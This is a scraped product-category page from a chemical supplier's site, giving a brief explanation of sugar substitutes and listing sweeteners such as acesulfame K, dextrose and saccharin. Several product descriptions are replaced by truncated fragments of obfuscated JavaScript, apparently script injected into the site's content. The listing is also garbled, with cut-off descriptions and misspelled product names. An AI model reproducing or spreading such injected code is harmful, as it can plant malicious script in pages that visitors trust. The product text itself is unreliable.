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![Sweeteners](http://www.highchem.net.eg/image/cache/data/general photo/artificial-sweeteners-12 copy-250x250.jpg)
Sweeteners
sugar substitute is a food additive that duplicates the effect of sugar in taste, usually with less food energy. Some sugar substitutes are natural and some are synthetic. Those that are not natural are, in general, called artificial sweeteners.
An important class of sugar substitutes is known as high-intensity sweeteners. These are compounds with many times the sweetness of sucrose, common table sugar. As a result, much less sweetener is required and energy contribution is often negligible. The sensation of sweetness caused by these compounds (the "sweetness profile") is sometimes notably different from sucrose, so they are often used in complex mixtures that achieve the most natural sweet sensation.
Sweeteners
Acesulfame K
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Acesulfame K
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=func...
Dextrose anhydrous
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Dextrose anhydrous
C6H12O6
The dextrose anhydrous is produced by re-dissolving dextrose m...
Dextrose Monohydrate
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Dextrose Monohydrate
C6H12O6, H2O
A qualitative range of Dextrose Monohydrate. These are ...
Monosodium Glutomate
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Monosodium Glutomate
C5H8NO4Na
function _0x3023(_0x562006...
Sodium Succharine
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Ex Tax: ج.م0egp
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Sodium Succharine
C7H5NO3S
function _0x3023(_0x562006,_0x...
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